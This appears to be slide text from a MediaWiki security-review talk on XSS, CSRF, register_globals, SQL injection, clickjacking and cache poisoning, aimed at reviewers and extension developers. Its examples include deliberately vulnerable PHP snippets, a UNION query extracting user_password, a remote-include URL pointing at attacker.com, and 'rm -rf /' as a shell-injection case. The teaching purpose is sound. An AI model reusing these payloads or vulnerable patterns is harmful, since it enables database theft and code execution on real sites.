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Common vulnerability types

● Cross-site scripting (XSS)
● Cross-site request forgery (CSRF)
● register_globals
● SQL injection



  

Cross-site scripting

● XSS occurs when an attacker is able to inject 
scripts into a page on a trusted domain

● Results in:
– Authenticated requests

– Session hijacking

– Perhaps even password disclosure



  

Cross-site scripting

● Reflected XSS

● Stored XSS

$search = htmlspecialchars( $req->getVal( 'search' ) );
$out->addHTML( "<input name='search' value='$search' />" );

$res = $dbr->query("SELECT id, title FROM `articles`");
foreach ($res as $row) {
    $out->addHTML( "<a href='read.php?id={$article->id}'>" .
        $article->title .
        "</a>";
}



  

Cross-site scripting

● To avoid XSS, the basic principles are:
– Validate your input

– Escape your output

● Trust no input
● Escape everything, close to the output, so that 

the reviewer can verify that it was done
● Always use double quotes for attributes, if you 

must construct them yourself



  

Reviewing for XSS

● Look for places where HTML is constructed
● Identify insecurely injected variables and trace 

the data flow backwards
● Stop tracing if a safe escaping function is 

found
● If there was no escaping, consider how trusted 

the data source is



  

Reviewing other text protocols

● Reviewing for injection into any text protocol 
can be done with the same technique:
– SQL

– CSS

– Shell commands

– Wikitext

– Any DIY text protocol



  

Spot the XSS

● http://tstarling.com/xss
● Hint: in EmbedVideo.hooks.php, the 

parserFunction_*() functions have arbitrary 
inputs



  

Spot the XSS

● Answers:
– $align

– $id

– Validation works better when it's not commented 
out

    private static function verifyID($entry, $id) {
        $idhtml = htmlspecialchars($id);
        //$idpattern = (isset($entry['id_pattern']) ? 
$entry['id_pattern'] : '%[^A-Za-z0-9_\\-]%');
        //if ($idhtml == null || preg_match($idpattern, $idhtml)) {
        return ($idhtml != null);
    }



  

Cross-site request forgery

● Offsite JavaScript submits a form on behalf of 
an authenticated user

● The web app receives the request with the 
victim's cookies and acts on it

● Possibly the most common type of web app 
vulnerability

● A common pitfall for inexperienced developers



  

Cross-site request forgery: 
mitigation

● Use HTMLForm if possible
● Typical defence using User::getEditToken():
function showForm() {
    ...
    $out->addHTML(
        Html::hidden( 'token', $user->editToken() ) );
    ...
}

function submitForm() {
    ...
    if ( !$user->matchEditToken(
            $req->getVal( 'token' ) ) )
    {
        ... CSRF detected - stop the request right now ...
        return
    }
    // OK, continue submit
    ...
}



  

Reviewing for CSRF

● Check form submission path for 
User::matchEditToken()

● Can also be done by black-box testing:
– Check HTML form source for an edit token

– Modify the edit token with Firebug or similar to see 
if the form still works



  

JavaScript cross-site data leakage

● Executable JavaScript code violates the 
same-origin policy

● <script> tag allows the code to be executed in 
the context of a different request

● Interception of:
– Function calls

– Array construction

– Global variables



  

JavaScript cross-site data leakage

● JSON data can be disclosed via 
Array.prototype override

● What keeps us safe?
– Our JSON responses typically have an object 

literal with more than one member
● Non-executable

● JSONP explicitly allows cross-site data 
leakage



  

JavaScript cross-site data leakage

● Coding practices:
– Extend api.php, don't provide your own interface

– Don't include private data in ResourceLoader 
responses, except with:

public function getGroup() {
    return 'private';
}



  

register_globals

● Deprecated in PHP 5.3, removed in 5.4
● Presumed to be still commonly enabled on shared 

hosts, but perhaps a fading threat
● MediaWiki historically encouraged vulnerable code 

with its $IP variable
● $IP concept mimicked by extensions (e.g. $smwgIP)
● In hindsight, the issue could have been mostly 

avoided



  

register_globals

● register_globals causes variables from the 
request to be registered as global variables

● PHP files with .php ending can be exploited
● Example:

– http://victim.com/w/extensions/SomeExtension/So
meExtensionFile.php?IP=\\attacker.com\attack\



  

register_globals

● Vulnerable code

● Alternative: autoloader

● Alternative: dirname(__FILE__)

require( "$IP/extensions/MyExtension/CommonFunctions.php" );

$wgAutoloadClasses['MyExtensionFunctions'] =
    "$IP/extensions/MyExtension/CommonFunctions.php";
MyExtensionFunctions::foo();

require( dirname( __FILE___ ) . "/extensions" .
    "/MyExtension/CommonFunctions.php" );



  

Reviewing for register_globals

● Can be done by reading the top of each file
● There is an automated scanner available that 

catches the most common errors:

http://svn.wikimedia.org/svnroot

    /mediawiki/trunk/tools/rg-vuln-check



  

SQL injection

● Relatively rare in MediaWiki but common 
elsewhere

● Extremely dangerous
● May lead to disclosure of the entire database 

contents



  

SQL injection

● Example:

● The query could become:

SELECT * FROM kitties LIMIT 1 UNION 
SELECT user_password,1,1,1 FROM user

$limit = $wgRequest->getVal( 'limit' );
$res = $db->query( "SELECT * from kitties LIMIT $limit" );



  

SQL injection: mitigation

● Use query builder functions like 
Database::select()

● Know the limitations of the query builder 
functions

● Query builder interfaces accept SQL 
expressions in certain contexts, these 
expressions must be constructed carefully

$res = $dbr->select( 'table', '*', array(
    'time > ' . $request->getVal( 'time' ) ) );



  

Less common vulnerability types



  

Clickjacking

● The victim page is included in the attacker's site 
in an iframe

● CSS is used to make the victim page invisible but 
still clickable

● The user is tricked into clicking or dragging 
elements on the victim page, causing
– Some malicious action, like CSRF

– Drag and drop of sensitive data into the parent frame



  

Clickjacking: mitigation

● Send X-Frame-Options: DENY
– This is the default for OutputPage

● Don't include sensitive forms on action=view
● Or on any other page which calls 

OutputPage::allowClickjacking()
– Special:Allpages, Special:Categories, Special:JavaScriptTest, 

Special:LinkSearch, Special:Search, Special:Specialpages, 
Special:Version



  

IE 6 extension detection

● IE 6 can detect file extensions in the query string
● Undermines assumptions about the safety of 

streaming plain text
● Required three MediaWiki core releases to fix it 

properly
● Solution for extension developers:

– Extend the API

– Append &* to API URLs which include user input



  

Dangerous uploaded files

● Wide range of issues
– XSS

– File type misdetection

– Browser DOS

– Malware distribution

● Mostly contained to the MediaWiki core



  

External utilities

● Shelling out to external utilities has two major 
security aspects:
– Shell escaping

– Security of the invoked app

● Many shell commands were not designed with 
untrusted input in mind

● Examples:
– gnuplot: `rm -rf /`
– ImageMagick: delegate vulnerability



  

Cache poisoning

● Response with private data is sent out with 
public caching headers

● Allows an attacker to read the response from 
the cache server without being logged in

● Can be triggered with a CSRF-style attack on 
a logged-in user

● Solution: don't allow the user to trigger public 
caching of private data



  

Cache poisoning

● Example: http://bugzilla.wikimedia.org/33117



  

Security review ethics

● Report security vulnerabilities privately to the 
author or maintainer

● Larger projects have security@<domain>
● For smaller projects, find the founder's email 

address
● Do not disclose publicly unless:

– A fix is released; or

– Months have elapsed and all other possible 
options are exhausted



  

Further reading

● Open Web Application Security Project: 
https://www.owasp.org/
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